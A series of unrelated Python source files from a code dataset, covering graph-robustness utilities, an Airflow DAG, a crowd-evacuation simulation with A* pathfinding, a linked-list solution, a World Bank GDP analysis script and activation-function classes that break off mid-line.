standardized_adj_matrix = standardized_adj_matrix.tolil()\n standardized_adj_matrix.setdiag(0)\n standardized_adj_matrix = standardized_adj_matrix.tocsr()\n standardized_adj_matrix.eliminate_zeros()\n\n return standardized_adj_matrix, standardized_attr_matrix\n\ndef unravel_index(index, array_shape):\n rows = index // array_shape[1]\n cols = index % array_shape[1]\n return rows, cols\n\n\ndef immune_edge_control(adj_controlled, sort_edge, con_local_budget, con_more_num):\n ori_num = np.where(adj_controlled==0)[0].shape[0]\n idx = np.array(sort_edge)[:,0]\n\n for i in idx:\n adj_controlled[i[0],i[1]] = 0\n if np.where(adj_controlled[i[0]] == 0)[0].shape[0] > con_local_budget[i[0]]:\n adj_controlled[i[0],i[1]] = 1\n\n cur_num = np.where(adj_controlled==0)[0].shape[0]\n if cur_num == ori_num+con_more_num:\n \n break\n\n return adj_controlled\n\n\ndef split(labels, n_per_class=20, seed=0):\n np.random.seed(seed)\n nc = labels.max() + 1\n\n split_train, split_val = [], []\n for l in range(nc):\n perm = np.random.permutation((labels == l).nonzero()[0])\n split_train.append(perm[:n_per_class])\n split_val.append(perm[n_per_class:2 * n_per_class])\n\n split_train = np.random.permutation(np.concatenate(split_train))\n split_val = np.random.permutation(np.concatenate(split_val))\n\n assert split_train.shape[0] == split_val.shape[0] == n_per_class * nc\n\n split_test = np.setdiff1d(np.arange(len(labels)), np.concatenate((split_train, split_val)))\n\n return split_train, split_val, split_test\n\n\ndef compute_grad_matrix(control_all, grad_all, con_budget_local, n):\n # 放入矩阵中 con_local=[[grad]] n*n矩阵每个元素都是grad\n con_local = np.zeros((n,n))\n for j in range(len(control_all)):\n control = control_all[j]\n grad = grad_all[j]\n for k in range(len(grad)):\n con_local[control[k]] = grad[k]\n \n # 满足控制的局部约束\n for j in range(n):\n con = con_local[j]\n con_budget_l = con_budget_local[j].astype('int32')\n if np.where(con!=0)[0].shape[0] > con_budget_l:\n more = (np.where(con!=0)[0].shape[0] - con_budget_l).astype('int32')\n idx_ord = np.argsort(con)[::-1]\n for k in range(con_budget_l, con_budget_l+more):\n con[idx_ord[k]] = 0\n con_local[j] = con\n \n return con_local\n\ndef compute_sort_edge(con_local):\n control_edges = {}\n row = np.where(con_local!=0)[0]\n col = np.where(con_local!=0)[1]\n control_edges={(row[i],col[i]): con_local[row[i],col[i]] for i in range(len(row))}\n sort_control_edges = sorted(control_edges.items(), key=lambda item:item[1], reverse=True)\n\n return sort_control_edges\n\n\ndef worstcase_class(ppr_flipped, labels, logits):\n n, nc = logits.shape\n worst_margins_all = np.ones((nc, nc, n)) * np.inf\n\n for c1 in range(nc):\n for c2 in range(nc):\n if c1 != c2:\n worst_margins_all[c1, c2] = (ppr_flipped[(c1,c2)].detach().numpy() @ (logits[:, c1] - logits[:, c2]))\n\n # selected the reference label according to the labels vector and find the minimum among all other classes\n worst_class = np.nanargmin(worst_margins_all[labels, :, np.arange(n)], 1)\n\n return worst_class\n\ndef compute_final_loss(loss, labels, worst_class):\n n = labels.shape[0]\n final_loss = torch.unsqueeze(loss[labels[0], worst_class[0]][0], 0)\n for i in range(1,n):\n tmp = torch.unsqueeze(loss[labels[i], worst_class[i]][i], 0)\n final_loss = torch.cat((final_loss, tmp), 0)\n\n return final_loss\n\n\ndef bisection(adj_controlled, a, b, perturbations, epsilon):\n def func(x):\n return torch.clamp(adj_controlled-x, 0, 1).sum() - perturbations\n\n miu = a\n while ((b-a) >= epsilon):\n miu = (a+b)/2\n # Check if middle point is root\n if (func(miu) == 0.0):\n break\n # Decide the side to repeat the steps\n if (func(miu)*func(a) < 0):\n b = miu\n else:\n a = miu\n # print(\"The value of root is : \",\"%.4f\" % miu)\n return miu\n\n\ndef projection(adj_controlled, con_budget):\n # projected = torch.clamp(self.adj_controlled, 0, 1)\n if torch.clamp(adj_controlled, 0, 1).sum() > con_budget:\n left = (adj_controlled - 1).min()\n right = adj_controlled.max()\n miu = bisection(adj_controlled, left, right, con_budget, epsilon=1e-5)\n adj_controlled.data.copy_(torch.clamp(adj_controlled.data - miu, min=0, max=1))\n else:\n adj_controlled.data.copy_(torch.clamp(adj_controlled.data, min=0, max=1))\n return adj_controlled\n\ndef random_sample(adj, adj_controlled, ppr_adj_changing, logits, labels, con_budget, alpha):\n K = 100\n n,nc = logits.shape\n best_loss = -1000*torch.ones(n)\n with torch.no_grad():\n s = adj_controlled.detach().numpy()\n for i in range(K):\n sampled = np.random.binomial(1, s)\n ppr_flipped = {}\n loss = {}\n print(sampled.sum())\n if sampled.sum() > con_budget:\n continue\n adj_controlled.copy_(torch.Tensor(sampled))\n for c1 in range(nc):\n for c2 in range(nc):\n if c1 != c2:\n modified_adj = adj + torch.mul(ppr_adj_changing[(c1,c2)]['changing'], adj_controlled)\n ppr_flipped[(c1,c2)] = propagation_matrix(adj=modified_adj, alpha=alpha)\n tmp_re = torch.from_numpy(logits[:,c1] - logits[:,c2]).float()\n loss[c1,c2] = ppr_flipped[(c1,c2)] @ tmp_re\n\n worst_class = worstcase_class(ppr_flipped, labels, logits)\n final_loss = compute_final_loss(loss, labels, worst_class)\n print(torch.sum(final_loss))\n if torch.sum(best_loss) < torch.sum(final_loss):\n best_loss = final_loss\n best_s = sampled\n adj_controlled.copy_(1 - torch.Tensor(best_s))\n\n return adj_controlled\n\n# Fix seed\ndef setup_seed(seed):\n torch.manual_seed(seed)\n torch.cuda.manual_seed_all(seed)\n np.random.seed(seed)\n random.seed(seed)\n torch.backends.cudnn.deterministic = True","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":17198,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"84453981","text":"\"\"\"\nThis file configures the Apache Airflow DAG to update the database table to\nreflect appropriate Europeana sub provider/ default provider names in the\nsource field\n\"\"\"\n\nfrom datetime import datetime, timedelta\nimport logging\nimport os\nimport util.operator_util as ops\nfrom airflow import DAG\n\nfrom util.loader import operators\n\n\nlogging.basicConfig(\n format='%(asctime)s - %(name)s - %(levelname)s: %(message)s',\n level=logging.INFO\n)\n\nlogger = logging.getLogger(__name__)\n\nDAG_ID = 'europeana_sub_provider_update_workflow'\nDB_CONN_ID = os.getenv('OPENLEDGER_CONN_ID', 'postgres_openledger_testing')\nCONCURRENCY = 5\n\nDAG_DEFAULT_ARGS = {\n 'owner': 'data-eng-admin',\n 'depends_on_past': False,\n 'start_date': datetime(2020, 1, 15),\n 'email_on_retry': False,\n 'retries': 2,\n 'retry_delay': timedelta(seconds=15),\n 'schedule_interval': None,\n}\n\n\ndef create_dag(\n dag_id=DAG_ID,\n args=DAG_DEFAULT_ARGS,\n concurrency=CONCURRENCY,\n max_active_runs=CONCURRENCY,\n postgres_conn_id=DB_CONN_ID,\n):\n dag = DAG(\n dag_id=dag_id,\n default_args=args,\n concurrency=concurrency,\n max_active_runs=max_active_runs,\n catchup=False,\n schedule_interval=None,\n )\n\n with dag:\n start_task = ops.get_log_operator(dag, dag.dag_id, 'Starting')\n run_task = operators.get_europeana_sub_provider_update_operator(\n dag,\n postgres_conn_id\n )\n end_task = ops.get_log_operator(dag, dag.dag_id, 'Finished')\n\n start_task >> run_task >> end_task\n\n return dag\n\n\nglobals()[DAG_ID] = create_dag()\n","sub_path":"src/cc_catalog_airflow/dags/europeana_sub_provider_update_workflow.py","file_name":"europeana_sub_provider_update_workflow.py","file_ext":"py","file_size_in_byte":1629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"355216047","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[2]:\n\n\n# get_ipython().run_line_magic('run', 'gui.py')\n\n\n# In[5]:\n\n\n# %load gui.py\nimport tkinter as tk\nfrom tkinter import Label\n\n\nclass GUI:\n def __init__(self):\n \"\"\"设置窗体\"\"\"\n self.top = tk.Tk()#将窗体命名为top\n self.top.title(\"地铁车站\")#设置窗体名称\n self.top.geometry(\"1080x710\")#设置窗体尺寸\n self.top.resizable(width=False, height=False)#设置不可调整尺寸\n \"\"\"设置画布\"\"\"\n self.c = tk.Canvas(self.top, width=1080, height=680, bg=\"A9A9A9\")\n #设置top上的画布,1080*680,颜色A9A9A9,命名为c\n self.c.pack()#将画布c放置在top上\n self.label = Label(self.top, text=\"Time = 0.0 s\")#设置标签,命名为label,内容为\n self.label.pack()#将标签放置在top上\n \"\"\"绘制障碍物\"\"\"\n def add_barrier(self):\n # 添加房间边框\n self.c.create_rectangle(0, 0, 1080, 40, fill=\"#696969\", outline=\"#696969\")\n #画布c上画矩形,1080*40,内部颜色#696969,外部边框#696969\n self.c.create_rectangle(0, 640, 1080, 680, fill=\"#696969\", outline=\"#696969\")\n #下方(0,640)1080*40,颜色边框\n self.c.create_rectangle(0, 0, 40, 680, fill=\"#696969\", outline=\"#696969\")\n #左侧,颜色边框\n self.c.create_rectangle(1040, 0, 1080, 140, fill=\"#696969\", outline=\"#696969\")\n #右上40*140,颜色边框\n self.c.create_rectangle(1040, 220, 1080, 680, fill=\"#696969\", outline=\"#696969\")\n #右下40*460,颜色边框\n # 添加房间中间的障碍物\n self.c.create_rectangle(400, 160, 720, 280, fill=\"#696969\", outline=\"#696969\")\n self.c.create_rectangle(400, 400, 720, 520, fill=\"#696969\", outline=\"#696969\")\n #中间两个320*120的矩形障碍\n \"\"\"更新显示时间\"\"\"\n def update_time(self, _time):\n self.label['text'] = \"Time = \"+_time + \" s\"\n #tkinter的秒表功能,将标签改为显示秒表\n \"\"\"绘制圆\"\"\"\n def add_oval(self, x1, y1, x2, y2, oval_tag):\n self.c.create_oval(x1, y1, x2, y2, fill=\"#FFE4B5\", tag=oval_tag)#绘制圆,添加tag\n \"\"\"删除圆\"\"\"\n def del_oval(self, oval_tag):\n self.c.delete(oval_tag)#删除带有oval_tag标签的圆\n '''更新'''\n def update_gui(self):\n self.top.update()\n self.c.update()#更新窗体以及画布\n '''启动GUI'''\n def start(self):\n self.top.mainloop()#运行窗体top\n\n\n# In[6]:\n\n\n# %load people.py\nimport random\nimport math\nfrom astar import AStar\nclass People:\n def __init__(self, _id, _loc_x, _loc_y,):\n self.id = _id # 行人编号\n self.m = 50 + random.randint(0, 20) # 行人质量/kg\n self.r = (35 + random.randint(0, 5))/2 # 行人半径(肩宽/2)/cm\n self.d_v = (60 + random.randint(0, 20)) / 100 # 期望速度大小/m/s\n self.loc = (_loc_x, _loc_y) # 当前位置\n self.v = (0, 0) # 当前速度\n self.a = (0, 0) # 当前加速度\n\n\n\nclass PeopleList:\n def __init__(self):\n self.list = []\n count = 0\n # 依次添加行人至self.list,三列行人,每列15人\n for i in range(0, 15):\n self.list.append(People(\"o\"+str(count), 60, 60 + i * 40))#id,横坐标,纵坐标\n count = count + 1\n self.list.append(People(\"o\"+str(count), 100, 60 + i * 40))\n count = count + 1\n self.list.append(People(\"o\"+str(count), 140, 60 + i * 40))\n count = count + 1\n\n # 在一开始就计算好各个位置的下一步方向向量,并存储到矩阵中,以节省算力\n k = 5 \n self.matrix = [[0 for i in range(17)] for i in range(27)]#创建17*27的空矩阵\n for i in range(0, 27):\n for j in range(0, 17):\n if i == 0: # 将障碍物的位置也设置对应的方向向量,以便在特殊情况撞墙后能及时调整回来\n self.matrix[i][j] = (k, 0)\n elif i == 26:\n self.matrix[i][j] = (-1 * k, 0)\n elif j == 0:\n self.matrix[i][j] = (0, k)\n elif j == 16:\n self.matrix[i][j] = (0, -1 * k)\n elif i == 10:\n if (j == 4) or (j == 10):\n self.matrix[i][j] = (-1 * k, -1 * k)\n elif (j == 5) or (j == 11):\n self.matrix[i][j] = (-1 * k, 0)\n elif (j == 6) or (j == 12):\n self.matrix[i][j] = (-1 * k, k)\n else:\n self.matrix[i][j] = AStar.next_loc(i, j)#i为10时,如果没有障碍物,则方向向量为A*算法的下一步位置\n elif i == 17:\n if (j == 4) or (j == 10):\n self.matrix[i][j] = (k, -1 * k)\n elif (j == 5) or (j == 11):\n self.matrix[i][j] = (k, 0)\n elif (j == 6) or (j == 12):\n self.matrix[i][j] = (k, k)\n else:\n self.matrix[i][j] = AStar.next_loc(i, j)#i为17时,如果没有障碍物,则方向向量为A*算法的下一步位置\n elif (j == 4) or (j == 10):\n if (i > 10) and (i < 17):#障碍物的上边界\n self.matrix[i][j] = (0, -1 * k)\n else:\n self.matrix[i][j] = AStar.next_loc(i, j)\n elif (j == 6) or (j == 12):\n if (i > 10) and (i < 17):\n self.matrix[i][j] = (0, k)#障碍物的下边界\n else:\n self.matrix[i][j] = AStar.next_loc(i, j)\n elif (i > 10) and (i < 17) and ((j == 5) or (j == 11)):#障碍物的中间位置\n self.matrix[i][j] = (0, k)\n else:\n self.matrix[i][j] = AStar.next_loc(i, j)\n self.matrix[26][4] = (1, 0)#目标点的方向向量\n\n\n def move(self):\n # 设置间隔时间、A、B参数\n deta_time = 0.005\n A = 2000\n B = -0.08\n # 下面开始依次计算各个行人下一时刻的加速度\n for i in range(0, len(self.list)):#遍历self.list内行人\n now = self.list[i]#当前人\n # 下面计算社会力模型的第一项,期望力\n next_desired = self.matrix[int(now.loc[0]//40)][int(now.loc[1]//40)] # 获取下一位置的方向向量,每一小格为40\n desired_v = (now.d_v*next_desired[0], now.d_v*next_desired[1])#期望速度\n # 下面计算社会力模型的第二项fij\n sum_of_fij = (0, 0)\n for j in range(0, len(self.list)):\n if i == j:#如果是同一个人,则跳过\n continue\n temp = self.list[j] \n d = (((now.loc[0] - temp.loc[0])/100)**2 + ((now.loc[1] - temp.loc[1])/100)**2)**0.5#计算两人距离,temp.loc是周围八个人\n if d >= 1.4: # 如果两个行人质心距离超过1.4m(或距离超过1m),之间的作用力可以忽略不计\n continue\n fij = A * math.exp((d-now.r/100-temp.r/100)/B)\n sum_of_fij = (sum_of_fij[0] + fij * (now.loc[0] - temp.loc[0])/100,\n sum_of_fij[1] + fij * (now.loc[1] - temp.loc[1])/100)#行人间力及方向向量\n # 下面计算社会力模型的第三项fiW\n sum_of_fiw = (0, 0)\n # 首先计算四周墙壁的fiW\n d = now.loc[0] - 40#行人的边与左边墙距离\n if d < 120:\n fiw = A * math.exp((d - now.r) / 100 / B)\n sum_of_fiw = (fiw * d / 100 + sum_of_fiw[0], sum_of_fiw[1])#计算力及方向向量\n d = 1040 - now.loc[0]#行人边与右边墙距离\n if (d < 120) and (now.loc[1] > 220 or now.loc[1] < 140):#距离小于120且不在门旁边\n fiw = A * math.exp((d - now.r) / 100 / B)\n sum_of_fiw = (fiw * (-1) * d / 100 + sum_of_fiw[0], sum_of_fiw[1])#计算力及方向向量\n d = now.loc[1] - 40#与上方墙距离\n if d < 120:\n fiw = A * math.exp((d - now.r) / 100 / B)\n sum_of_fiw = (sum_of_fiw[0], fiw * d / 100 + sum_of_fiw[1])#计算力及方向向量\n d = 640 - now.loc[1]#与下方墙距离\n if d < 120:\n fiw = A * math.exp((d - now.r) / 100 / B)\n sum_of_fiw = (sum_of_fiw[0], fiw * (-1) * d / 100 + sum_of_fiw[1])#计算力及方向向量\n # 下面计算中间障碍物1的fiW\n d = 400 - now.loc[0]#与中间障碍物左侧距离\n if (d < 120) and (d > 0) and (now.loc[1] > 160) and (now.loc[1] < 280):#纵坐标大于160小于280\n fiw = A * math.exp((d - now.r) / 100 / B)\n sum_of_fiw = (fiw * (-1) * d / 100 + sum_of_fiw[0], sum_of_fiw[1])#计算力及方向向量\n d = now.loc[0] - 720#与中间障碍物右侧距离\n if (d < 120) and (d > 0) and (now.loc[1] > 160) and (now.loc[1] < 280):#纵坐标大于160小于280\n fiw = A * math.exp((d - now.r) / 100 / B)\n sum_of_fiw = (fiw * d / 100 + sum_of_fiw[0], sum_of_fiw[1])#计算力及方向向量\n d = 160 - now.loc[1]#与中间上方障碍物上方距离\n if (d < 120) and (d > 0) and (now.loc[0] > 400) and (now.loc[0] < 720):#横坐标大于400小于720\n fiw = A * math.exp((d - now.r) / 100 / B)\n sum_of_fiw = (sum_of_fiw[0], fiw * (-1) * d / 100 + sum_of_fiw[1])#计算力及方向向量\n d = now.loc[1] - 280#与中间障碍物下方距离\n if (d < 120) and (d > 0) and (now.loc[0] > 400) and (now.loc[0] < 720):#横坐标大于400小于720\n fiw = A * math.exp((d - now.r) / 100 / B)\n sum_of_fiw = (sum_of_fiw[0], fiw * d / 100 + sum_of_fiw[1])#计算力及方向向量\n # 下面计算障碍物2的fiW\n d = 400 - now.loc[0]\n if (d < 120) and (d > 0) and (now.loc[1] > 400) and (now.loc[1] < 520):\n fiw = A * math.exp((d - now.r) / 100 / B)\n sum_of_fiw = (fiw * (-1) * d / 100 + sum_of_fiw[0], sum_of_fiw[1])\n d = now.loc[0] - 720\n if (d < 120) and (d > 0) and (now.loc[1] > 400) and (now.loc[1] < 520):\n fiw = A * math.exp((d - now.r) / 100 / B)\n sum_of_fiw = (fiw * d / 100 + sum_of_fiw[0], sum_of_fiw[1])\n d = 400 - now.loc[1]\n if (d < 120) and (d > 0) and (now.loc[0] > 400) and (now.loc[0] < 720):\n fiw = A * math.exp((d - now.r) / 100 / B)\n sum_of_fiw = (sum_of_fiw[0], fiw * (-1) * d / 100 + sum_of_fiw[1])\n d = now.loc[1] - 520\n if (d < 120) and (d > 0) and (now.loc[0] > 400) and (now.loc[0] < 720):\n fiw = A * math.exp((d - now.r) / 100 / B)\n sum_of_fiw = (sum_of_fiw[0], fiw * d / 100 + sum_of_fiw[1])\n # 下面计算各个行人的加速度分量\n a_x = ((now.m * (desired_v[0] - now.v[0]) / 0.5) + sum_of_fij[0] + sum_of_fiw[0]) / now.m#和力比质量\n a_y = ((now.m * (desired_v[1] - now.v[1]) / 0.5) + sum_of_fij[1] + sum_of_fiw[1]) / now.m\n self.list[i].a = (a_x, a_y)\n\n # 开始计算各个行人新的速度、下一位置,并更新\n for i in range(0, len(self.list)):\n now = self.list[i]\n a_x = now.a[0]\n a_y = now.a[1]\n v0_x = now.v[0]\n v0_y = now.v[1]\n v_x = v0_x + a_x * deta_time # 计算新速度并更新,初速度加加速度乘时间\n v_y = v0_y + a_y * deta_time\n self.list[i].v = (v_x, v_y)\n l_x = (v0_x * deta_time + deta_time * a_x * deta_time * deta_time)*100 + now.loc[0] # 计算新的行走距离并更新\n l_y = (v0_y * deta_time + deta_time * a_y * deta_time * deta_time)*100 + now.loc[1]\n self.list[i].loc = (l_x, l_y)\n\n\n\n# In[7]:\n\n\nclass Node:\n def __init__(self):\n # 初始化各个坐标点的g值、h值、f值、父节点\n self.g = 0\n self.h = 0\n self.f = 0\n self.father = (0, 0)\n\n#A*算法,找最短路\nclass AStar:\n @staticmethod\n def next_loc(x, y):\n # 初始化各种状态\n start_loc = (x, y) # 初始化起始点\n aim_loc = [(26, 4)] # 初始化目标地点\n open_list = [] # 初始化打开列表\n close_list = [] # 初始化关闭列表\n barrier_list = [] # 初始化障碍列表\n # 添加障碍,房间中障碍的坐标\n for i in range(0, 27):\n barrier_list.append((i, 0))\n barrier_list.append((i, 16))\n for i in range(1, 16):\n barrier_list.append((0, i))\n barrier_list.append((26, i))\n barrier_list.remove((26, 4))\n for i in range(10, 18):\n for j in range(4, 7):\n barrier_list.append((i, j))\n for j in range(10, 13):\n barrier_list.append((i, j))\n\n # 创建存储节点的矩阵,17*27的空矩阵,每个节点等于Node()\n node_matrix = [[0 for i in range(17)] for i in range(27)]\n for i in range(0, 27):\n for j in range(0, 17):\n node_matrix[i][j] = Node()\n\n open_list.append(start_loc) # 起始点添加至打开列表\n # 开始算法的循环\n while True:\n now_loc = open_list[0]\n for i in range(1, len(open_list)): # (1)获取f值最小的点,遍历openlist的所有点\n if node_matrix[open_list[i][0]][open_list[i][1]].f < node_matrix[now_loc[0]][now_loc[1]].f:\n now_loc = open_list[i]#如果openlist里的点的f值小于当前位置点的f值,则将当前位置点换为openlist内的i点\n # (2)切换到关闭列表\n open_list.remove(now_loc)#openlist中删除起始点即i点\n close_list.append(now_loc)#closelist中加入起始点即i点\n # (3)对相邻格中的每一个\n list_offset = [(-1, 0), (0, -1), (0, 1), (1, 0), (-1, 1), (1, -1), (1, 1), (-1, -1)]#周围的八个点的方向向量\n for temp in list_offset:#遍历这八个点\n temp_loc = (now_loc[0] + temp[0], now_loc[1] + temp[1])\n if temp_loc[0] < 0 or temp_loc[0] > 26 or temp_loc[1] < 0 or temp_loc[1] > 16:#如果在界面外面,则跳过\n continue\n if temp_loc in barrier_list: # 如果在障碍列表,则跳过\n continue\n if temp_loc in close_list: # 如果在关闭列表,则跳过\n continue\n\n # 该节点不在open列表,添加,并计算出各种值\n if temp_loc not in open_list:\n open_list.append(temp_loc)\n #计算g值,当前所在位置点的g值加上下一点的g值\n node_matrix[temp_loc[0]][temp_loc[1]].g = (node_matrix[now_loc[0]][now_loc[1]].g +\n int(((temp[0]**2+temp[1]**2)*100)**0.5))\n #计算h值,横纵坐标之和\n node_matrix[temp_loc[0]][temp_loc[1]].h = (abs(aim_loc[0][0]-temp_loc[0])\n + abs(aim_loc[0][1]-temp_loc[1]))*10\n #计算f值,h+g\n node_matrix[temp_loc[0]][temp_loc[1]].f = (node_matrix[temp_loc[0]][temp_loc[1]].g +\n node_matrix[temp_loc[0]][temp_loc[1]].h)\n #父节点为当前位置\n node_matrix[temp_loc[0]][temp_loc[1]].father = now_loc\n continue\n\n # 如果在open列表中,比较,重新计算,取小的g值\n if node_matrix[temp_loc[0]][temp_loc[1]].g > (node_matrix[now_loc[0]][now_loc[1]].g +\n int(((temp[0]**2+temp[1]**2)*100)**0.5)):\n node_matrix[temp_loc[0]][temp_loc[1]].g = (node_matrix[now_loc[0]][now_loc[1]].g +\n int(((temp[0]**2+temp[1]**2)*100)**0.5))\n node_matrix[temp_loc[0]][temp_loc[1]].father = now_loc\n node_matrix[temp_loc[0]][temp_loc[1]].f = (node_matrix[temp_loc[0]][temp_loc[1]].g +\n node_matrix[temp_loc[0]][temp_loc[1]].h)\n\n # 判断是否停止\n if aim_loc[0] in close_list:\n break\n\n # 依次遍历父节点,找到下一个位置\n temp = aim_loc[0]\n while node_matrix[temp[0]][temp[1]].father != start_loc:\n temp = node_matrix[temp[0]][temp[1]].father\n # 返回下一个位置的方向向量,例如:(-1,0),(-1,1)......\n re = (temp[0] - start_loc[0], temp[1] - start_loc[1])\n return re\n\n\n# In[ ]:\n\n\n# %load main.py\nfrom gui import GUI\nfrom people import PeopleList\n\n# 创建GUI\ngui = GUI()\ngui.add_barrier()\ngui.update_gui()\n\n# 创建行人列表\npeople_list = PeopleList()\ntime = 0\n# 在GUI初始化各个行人\nfor people in people_list.list:\n gui.add_oval(people.loc[0]-people.r, people.loc[1]-people.r,\n people.loc[0]+people.r, people.loc[1]+people.r, people.id)#x1,y1,x2,y2,tag为行人的id\ngui.update_gui()#更新画布及窗体\n\n# 各个行人开始移动\nwhile people_list.list:\n i = 0\n while i < len(people_list.list):\n gui.del_oval(people_list.list[i].id)\n if people_list.list[i].loc[0] > 1040: # 如果有人走出房间,则移除\n people_list.list.pop(i)\n continue\n i += 1\n people_list.move() # 行人移动,根据社会力模型移动\n for people in people_list.list: # 在GUI中更新行人位置\n gui.add_oval(int(people.loc[0]) - people.r, \n int(people.loc[1]) - people.r, int(people.loc[0]) + people.r,\n int(people.loc[1]) + people.r, people.id)#重新绘制圆\n time = time + 0.005 # 更新时间\n gui.update_time(str(round(time, 3)))#返回三位小数\n gui.update_gui()#更新gui\n\ngui.start()#开始\n\n\n# In[8]:\n\n\n\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"社会力模型.py","file_name":"社会力模型.py","file_ext":"py","file_size_in_byte":18626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"310127472","text":"class Solution:\n # @param headA: the first list\n # @param headB: the second list\n # @return: a ListNode\n def getIntersectionNode(self, headA, headB):\n # Write your code here\n listA = []\n listB = []\n if headA == None or headB == None:\n return None\n while 1:\n if headA == None:\n break;\n listA.append(headA.val)\n headA = headA.next\n\n while 1:\n if headB == None:\n break;\n listB.append(headB.val)\n headB = headB.next\n\n if listA[-1] != listB[-1]:\n return None;\n \n if len(listA)=90:\n print(i,'present')\n coty_df.loc[i,'isCountry_fuzzy']=1\n \n \n \n# Function for string onversion to lower case to be used below, this will increase number of matches:\ndef modify_name(name):\n alphabets = 'abcdefghijklmnopqrstuvwxyz'\n tmp = []\n for alphabet in name:\n lc = alphabet.lower()\n if lc in alphabets:\n tmp.append(lc)\n mod_name = ''.join(tmp)\n return mod_name\n\n \n# checking country through simple string comparisons - lower, special characters replace-- rep is used \n# bcoz rep means republic which should be used along with country name.\ncoty_df['isCountry_own'] = 0\n\nfor i in range(len(coty_df)):\n #print(coty_df.loc[i,'name']) # this gives \n if modify_name(coty_df.loc[i,'name']) in mod_countrylist or 'Rep' in coty_df.loc[i,'name']:\n print(i,'present')\n coty_df.loc[i,'isCountry_own']=1\n \n \n \n# Again fecthing data , now using Indicator API of world Bank:\n \ndatframe = pd.DataFrame()\ncounty_id_df = coty_df['id']\nfor i in county_id_df:\n #print(i)\n #i = 'ABW'\n print(\"Fetching the data of the country : {}\".format(i))\n url= 'http://api.worldbank.org/v2/country/'+ i + '/indicator/NY.GDP.MKTP.CD?format=json'\n response = requests.get(url)\n #response.json()[1]\n \n country_data = response.json()[1]\n #if country_data != None or country_data['countryiso3code']!='':\n if country_data != None :\n #print(country_data[0].keys())\n daf = pd.DataFrame(country_data)\n print(daf[['countryiso3code', 'date', 'value']])\n #if daf[daf.countryiso3code=='']:\n #print()\n \n \n #gdpdata=daf[['date', 'value','countryiso3code']]\n datframe = datframe.append(daf[['country','countryiso3code','date', 'value']], ignore_index= True)\n #if i== 'ABW':\n #break\n else:\n print('No data for the country {}'.format(i))\n \n\n\n# adding 1 to region where there is no countryiso3code. These belongs to regions and not countries. \ndatframe['region'] = 0\n\nfor i in range(len(datframe)):\n if datframe.loc[i, 'countryiso3code']== '':\n datframe.loc[i, 'region'] = 1\n\n#saving datframe as csv file: \ndatframe.to_csv('datframe.csv', sep='~')\n\n# opening csv file:\ndf_worldbank = pd.read_csv(\"datframe.csv\", sep = '~')\ndf_worldbank.head() \n\ndel df_worldbank['Unnamed: 0']\n\n# to get only countries data:\ndf1 = df_worldbank[df_worldbank.region==0].reset_index(drop=True)\n\n# Pivot dataframe to get desired shape:\ndf_country = df1.pivot(index='countryiso3code',columns='date',values='value')\ndf_country.head()\n\n#output of above code is given below:\n# date\t1969\t1970\t1971\t1972\t1973\t1974\t1975\t1976\t1977\t1978\t...\t2009\t2010\t2011\t2012\t2013\t2014\t2015\t2016\t2017\t2018\n# countryiso3code\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n# AFG\t1.408889e+09\t1.748887e+09\t1.831109e+09\t1.595555e+09\t1.733333e+09\t2.155555e+09\t2.366667e+09\t2.555556e+09\t2.953333e+09\t3.300000e+09\t...\t1.243909e+10\t1.585657e+10\t1.780428e+10\t2.000162e+10\t2.056105e+10\t2.048487e+10\t1.990711e+10\t1.936264e+10\t2.019176e+10\t1.936297e+10\n# AGO\tNaN\tNaN\tNaN\tNaN\tNaN\tNaN\tNaN\tNaN\tNaN\tNaN\t...\t7.030716e+10\t8.379950e+10\t1.117897e+11\t1.280529e+11\t1.367099e+11\t1.457122e+11\t1.161936e+11\t1.011239e+11\t1.221238e+11\t1.057510e+11\n# ALB\tNaN\tNaN\tNaN\tNaN\tNaN\tNaN\tNaN\tNaN\tNaN\tNaN\t...\t1.204421e+10\t1.192695e+10\t1.289087e+10\t1.231978e+10\t1.277628e+10\t1.322825e+10\t1.138693e+10\t1.186135e+10\t1.302506e+10\t1.505888e+10\n# AND\tNaN\t7.861921e+07\t8.940982e+07\t1.134082e+08\t1.508201e+08\t1.865587e+08\t2.201272e+08\t2.272810e+08\t2.540202e+08\t3.080089e+08\t...\t3.660531e+09\t3.355695e+09\t3.442063e+09\t3.164615e+09\t3.281585e+09\t3.350736e+09\t2.811489e+09\t2.877312e+09\t3.013387e+09\t3.236544e+09\n# ARE\tNaN\tNaN\tNaN\tNaN\tNaN\tNaN\t1.472067e+10\t1.921302e+10\t2.487178e+10\t2.377583e+10\t...\t2.535474e+11\t2.897873e+11\t3.506660e+11\t3.745906e+11\t3.901076e+11\t4.031371e+11\t3.581351e+11\t3.570451e+11\t3.825751e+11\t4.141789e+11\n\n\n# taking yearwise gdp data for India, China, USA and Japan:\ngdp_yearwise = df_country.loc[['IND','CHN','USA', 'JPN'], [2010,2011,2012,2013,2014,2015,2016,2017,2018]]\ngdp_yearwise.plot(kind= 'bar') # drawing bar graph.\n","sub_path":"analysis_of_countries_gdp_worldbank_data.py","file_name":"analysis_of_countries_gdp_worldbank_data.py","file_ext":"py","file_size_in_byte":6179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"104330177","text":"# -*- coding: utf-8 -*-\n\nimport numpy as np\n\n\n\nclass linear:\n \n @staticmethod\n def eval(x):\n return x\n\n @staticmethod\n def grad(x):\n g = np.ones_like(x)\n return g\n\nclass sigmoid:\n\n @staticmethod\n def eval(x):\n return 1.0/(1.0 + np.exp(-x))\n\n @staticmethod\n def grad(x):\n g = x*(1-x) \n return g\n\nclass relu:\n \n @staticmethod\n def eval(x):\n e = np.maximum(x,0)\n return e\n\n @staticmethod\n def grad(x): \n g = np.zeros((x.shape[0],x.shape[1])) \n for i in range(0,x.shape[1]):\n g[x[:,i]<=0,i] = 0\n g[x[:,i]> 0,i] = 1\n return g \n \n \nclass leaky_relu:\n \n @staticmethod\n def eval(x):\n e = np.maximum(x,0.01*x)\n return e\n\n @staticmethod\n def grad(x):\n g = np.ones_like(x)\n for i in range(0,x.shape[1]):\n g[x[:,i]<=0,i] = 